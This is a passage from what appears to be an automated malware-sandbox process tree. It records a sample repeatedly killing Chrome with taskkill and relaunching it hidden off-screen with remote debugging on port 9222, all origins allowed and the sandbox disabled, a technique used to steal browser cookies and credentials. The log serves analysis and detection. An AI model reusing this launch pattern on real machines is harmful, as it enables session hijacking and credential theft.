      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6628
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0xc4,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:6832
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:3040
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3912
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:728
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1620,i,2385064608964861638,13377928580605969982,262144 --field-trial-handle=2340,i,1087875269909976364,3510730054392737527,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:2
        5⤵
        
        PID:3240
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1460,i,3553848616715628834,14523277659688896012,524288 --field-trial-handle=2340,i,1087875269909976364,3510730054392737527,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2176
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=1992,i,6888559227206028808,12011559170499483987,524288 --field-trial-handle=2340,i,1087875269909976364,3510730054392737527,262144 --variations-seed-version --mojo-platform-channel-handle=2508 /prefetch:13
        5⤵
        
        PID:1268
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2896,i,9462442953528964897,8314537334830399021,2097152 --field-trial-handle=2340,i,1087875269909976364,3510730054392737527,262144 --variations-seed-version --mojo-platform-channel-handle=2948 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6000
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2900,i,754881948438530816,4406179869439397004,2097152 --field-trial-handle=2340,i,1087875269909976364,3510730054392737527,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6120
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4092,i,91142069175732924,12619985937717859552,524288 --field-trial-handle=2340,i,1087875269909976364,3510730054392737527,262144 --variations-seed-version --mojo-platform-channel-handle=4132 /prefetch:14
        5⤵
        
        PID:6616
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4184,i,17852693961039720601,13848461758321092975,2097152 --field-trial-handle=2340,i,1087875269909976364,3510730054392737527,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6904
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6420
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:5696
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:6096
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:2000
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      PID:1392
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:5976
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1608,i,12038273353501988656,9600563770574298787,262144 --field-trial-handle=2316,i,16436651044798124894,3289346002948633110,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:2
        5⤵
        
        PID:7068
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,6806657665968084977,11964872651307065267,524288 --field-trial-handle=2316,i,16436651044798124894,3289346002948633110,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:252
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2020,i,17098295561823724657,12830482860275889162,524288 --field-trial-handle=2316,i,16436651044798124894,3289346002948633110,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:13
        5⤵
        
        PID:2852
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2904,i,6932243464561373008,12660244734880802575,2097152 --field-trial-handle=2316,i,16436651044798124894,3289346002948633110,262144 --variations-seed-version --mojo-platform-channel-handle=2912 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1848
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2920,i,327146352202639754,14990027718861020696,2097152 --field-trial-handle=2316,i,16436651044798124894,3289346002948633110,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6848
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4232,i,17667682191477137454,18114764291313795324,524288 --field-trial-handle=2316,i,16436651044798124894,3289346002948633110,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:14
        5⤵
        
        PID:1276
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=2164,i,9027897173769945764,1784185689528986184,2097152 --field-trial-handle=2316,i,16436651044798124894,3289346002948633110,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2612
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6804
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:3164
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:5104
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6816
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:3316
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:5976
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1660,i,6259403106219416860,5263161463882760449,262144 --field-trial-handle=2000,i,4879749180597294982,5867438539571921120,262144 --variations-seed-version --mojo-platform-channel-handle=2016 /prefetch:2
        5⤵
        
        PID:5716
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,15783860263786944793,13748752433871037487,524288 --field-trial-handle=2000,i,4879749180597294982,5867438539571921120,262144 --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4328
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2056,i,14927716159910644719,13591780646806983977,524288 --field-trial-handle=2000,i,4879749180597294982,5867438539571921120,262144 --variations-seed-version --mojo-platform-channel-handle=2440 /prefetch:13
        5⤵
        
        PID:6624
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2796,i,12661785996619141140,754738830140279747,2097152 --field-trial-handle=2000,i,4879749180597294982,5867438539571921120,262144 --variations-seed-version --mojo-platform-channel-handle=2860 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:388
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2800,i,13599195710402651191,3317325290443885479,2097152 --field-trial-handle=2000,i,4879749180597294982,5867438539571921120,262144 --variations-seed-version --mojo-platform-channel-handle=2868 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:7100
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4140,i,1601241759419921628,17266992095644363590,524288 --field-trial-handle=2000,i,4879749180597294982,5867438539571921120,262144 --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:14
        5⤵
        
        PID:3588
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4228,i,4572067872424518049,3023339665743418624,2097152 --field-trial-handle=2000,i,4879749180597294982,5867438539571921120,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:1
        5⤵
        
        PID:6328
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6844
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:3576
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:4356
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6868
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:7048
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0xa4,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:4080
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,5727562042340264838,14146489826746628192,262144 --field-trial-handle=2008,i,17693857662308428665,8855473507545939016,262144 --variations-seed-version --mojo-platform-channel-handle=2004 /prefetch:2
        5⤵
        
        PID:1012
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1828,i,434191199074750359,5841051798944833717,524288 --field-trial-handle=2008,i,17693857662308428665,8855473507545939016,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:5792
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2096,i,11606690303372119144,15519001205410523141,524288 --field-trial-handle=2008,i,17693857662308428665,8855473507545939016,262144 --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:13
        5⤵
        
        PID:6236
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2912,i,2938387743857272413,1804134703024014762,2097152 --field-trial-handle=2008,i,17693857662308428665,8855473507545939016,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4412
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2924,i,13294232079452822799,10773147141806623536,2097152 --field-trial-handle=2008,i,17693857662308428665,8855473507545939016,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6344
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4144,i,13377924981806249655,437533050083042286,524288 --field-trial-handle=2008,i,17693857662308428665,8855473507545939016,262144 --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:14
        5⤵
        
        PID:2104
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4240,i,13176823610464713658,8450304956289837008,2097152 --field-trial-handle=2008,i,17693857662308428665,8855473507545939016,262144 --variations-seed-version --mojo-platform-channel-handle=4168 /prefetch:1
        5⤵
        
        PID:6824
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6548
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:6508
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:6472
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1604,i,4974579939236152263,16402706531541581628,262144 --field-trial-handle=2448,i,14132736443492836780,17396494218083541125,262144 --variations-seed-version --mojo-platform-channel-handle=2444 /prefetch:2
        5⤵
        
        PID:6668
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1456,i,13884063942252228967,16106950783896814313,524288 --field-trial-handle=2448,i,14132736443492836780,17396494218083541125,262144 --variations-seed-version --mojo-platform-channel-handle=2588 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:1284
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2068,i,4812859221217109871,2913311970622430756,524288 --field-trial-handle=2448,i,14132736443492836780,17396494218083541125,262144 --variations-seed-version --mojo-platform-channel-handle=2596 /prefetch:13
        5⤵
        
        PID:3040
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2900,i,15520648908089890684,10984663805028109876,2097152 --field-trial-handle=2448,i,14132736443492836780,17396494218083541125,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2528
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
